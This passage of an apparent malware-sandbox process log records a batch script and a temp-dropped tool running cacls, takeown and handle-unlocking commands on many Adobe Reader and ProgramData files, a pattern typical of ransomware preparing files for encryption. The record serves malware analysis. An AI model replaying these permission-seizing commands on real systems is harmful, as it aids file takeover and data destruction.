C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1560
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif""2⤵PID:1636
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif" /E /G Admin:F /C3⤵PID:1576
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif"3⤵PID:2020
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "bl.gif" -nobanner3⤵PID:2032
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "bl.gif" -nobanner4⤵PID:2024
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1404
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif""2⤵PID:2004
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif" /E /G Admin:F /C3⤵PID:608
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif"3⤵PID:1744
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "forms_super.gif" -nobanner3⤵PID:1260
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "forms_super.gif" -nobanner4⤵PID:748
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1136
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif""2⤵PID:952
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif" /E /G Admin:F /C3⤵PID:1176
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif"3⤵PID:508
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "review_browser.gif" -nobanner3⤵PID:856
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "review_browser.gif" -nobanner4⤵PID:108
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:432
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tl.gif""2⤵PID:2012
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tl.gif" /E /G Admin:F /C3⤵PID:2028
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tl.gif"3⤵PID:1492
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "tl.gif" -nobanner3⤵PID:556
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "tl.gif" -nobanner4⤵PID:1652
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:836
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V""2⤵PID:1600
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V" /E /G Admin:F /C3⤵PID:1048
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:268
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "Identity-V" -nobanner3⤵PID:1224
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "Identity-V" -nobanner4⤵PID:812
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1464
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf""2⤵PID:2008
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf" /E /G Admin:F /C3⤵PID:2036
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf"3⤵PID:616
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "MyriadPro-Bold.otf" -nobanner3⤵PID:1808
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "MyriadPro-Bold.otf" -nobanner4⤵PID:1112
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1588
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe""2⤵PID:1936
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe" /E /G Admin:F /C3⤵PID:1080
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe"3⤵PID:1020
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "SC_Reader.exe" -nobanner3⤵PID:1576
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "SC_Reader.exe" -nobanner4⤵PID:2024
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2020
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt55.ths""2⤵PID:2032
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt55.ths" /E /G Admin:F /C3⤵PID:1712
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt55.ths"3⤵PID:964
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "brt55.ths" -nobanner3⤵PID:608
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "brt55.ths" -nobanner4⤵PID:268
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:812
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.hsp""2⤵PID:1312
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.hsp" /E /G Admin:F /C3⤵PID:860
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.hsp"3⤵PID:940
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "usa03.hsp" -nobanner3⤵PID:2036
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "usa03.hsp" -nobanner4⤵PID:616
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1112
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\RTC.der""2⤵PID:1560
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\RTC.der" /E /G Admin:F /C3⤵PID:1156
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\RTC.der"3⤵PID:1180
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "RTC.der" -nobanner3⤵PID:1080
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "RTC.der" -nobanner4⤵PID:1020
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2024
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\end_review.gif""2⤵PID:1392
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\end_review.gif" /E /G Admin:F /C3⤵PID:952
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\end_review.gif"3⤵PID:1708
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "end_review.gif" -nobanner3⤵PID:1712
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "end_review.gif" -nobanner4⤵PID:964
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:268
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_joined.gif""2⤵PID:1224
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_joined.gif" /E /G Admin:F /C3⤵PID:1076
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_joined.gif"3⤵
- Modifies file permissions
PID:668
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "reviews_joined.gif" -nobanner3⤵PID:860
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "reviews_joined.gif" -nobanner4⤵PID:940
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:616
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_ok.gif""2⤵PID:1808
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_ok.gif" /E /G Admin:F /C3⤵PID:1600
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_ok.gif"3⤵PID:1616
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "server_ok.gif" -nobanner3⤵PID:1156
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "server_ok.gif" -nobanner4⤵PID:1180
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1020
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT""2⤵PID:1576
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT" /E /G Admin:F /C3⤵PID:1136
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT"3⤵
- Modifies file permissions
PID:944
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "CYRILLIC.TXT" -nobanner3⤵PID:952
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "CYRILLIC.TXT" -nobanner4⤵PID:1708
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:964
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\warning.gif""2⤵PID:608
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\warning.gif" /E /G Admin:F /C3⤵PID:432
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\warning.gif"3⤵
- Modifies file permissions
PID:1636
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "warning.gif" -nobanner3⤵PID:1076
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "warning.gif" -nobanner4⤵PID:668
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:940
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-BoldIt.otf""2⤵PID:2036
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-BoldIt.otf" /E /G Admin:F /C3⤵PID:2032
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-BoldIt.otf"3⤵PID:2004
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "MinionPro-BoldIt.otf" -nobanner3⤵PID:1600
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "MinionPro-BoldIt.otf" -nobanner4⤵PID:1616
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1180
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\SY______.PFB""2⤵PID:1080
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\SY______.PFB" /E /G Admin:F /C3⤵PID:1260
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\SY______.PFB"3⤵PID:1588
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "SY______.PFB" -nobanner3⤵PID:1136
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "SY______.PFB" -nobanner4⤵PID:944
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1708
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.hyp""2⤵PID:1048
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.hyp" /E /G Admin:F /C3⤵PID:2024
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.hyp"3⤵
- Modifies file permissions
PID:2020
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "brt.hyp" -nobanner3⤵PID:1988
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "brt.hyp" -nobanner4⤵PID:760
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1888
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT""2⤵PID:288
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT" /E /G Admin:F /C3⤵PID:268
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT"3⤵
- Modifies file permissions
PID:812
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "CP1252.TXT" -nobanner3⤵PID:1464
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "CP1252.TXT" -nobanner4⤵PID:1640
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:936
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng32.clx""2⤵PID:1040
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng32.clx" /E /G Admin:F /C3⤵PID:616
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng32.clx"3⤵PID:1112
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "eng32.clx" -nobanner3⤵PID:1776
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "eng32.clx" -nobanner4⤵PID:748
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1248
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT""2⤵PID:1700
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT" /E /G Admin:F /C3⤵PID:1020
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT"3⤵PID:1936
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "CENTEURO.TXT" -nobanner3⤵PID:432
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "CENTEURO.TXT" -nobanner4⤵PID:668
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1636
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\UKRAINE.TXT""2⤵PID:1076
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\UKRAINE.TXT" /E /G Admin:F /C3⤵PID:856
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\UKRAINE.TXT"3⤵PID:1404
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "UKRAINE.TXT" -nobanner3⤵PID:268
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "UKRAINE.TXT" -nobanner4⤵PID:812
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1640
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml""2⤵PID:1156
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml" /E /G Admin:F /C3⤵PID:608
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2008
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "resource.xml" -nobanner3⤵PID:1260
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "resource.xml" -nobanner4⤵PID:944
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1588
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml""2⤵PID:1136
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml" /E /G Admin:F /C3⤵PID:1744
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1492
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "resource.xml" -nobanner3⤵PID:1936
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "resource.xml" -nobanner4⤵PID:108
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:432
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata""2⤵PID:1636
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata" /E /G Admin:F /C3⤵PID:964
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata"3⤵
- Modifies file permissions
PID:856
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "directories.acrodata" -nobanner3⤵PID:1404
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "directories.acrodata" -nobanner4⤵PID:1616
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:268
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\distribute_form.gif""2⤵PID:1640
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\distribute_form.gif" /E /G Admin:F /C3⤵PID:556
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\distribute_form.gif"3⤵PID:608
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "distribute_form.gif" -nobanner3⤵PID:616
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "distribute_form.gif" -nobanner4⤵PID:748
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1112
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\main.css""2⤵PID:1776
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\main.css" /E /G Admin:F /C3⤵PID:936
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\main.css"3⤵PID:2028
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "main.css" -nobanner3⤵PID:2024
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "main.css" -nobanner4⤵PID:1492
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:108
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_shared.gif""2⤵PID:1988
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_shared.gif" /E /G Admin:F /C3⤵PID:1248
-
-
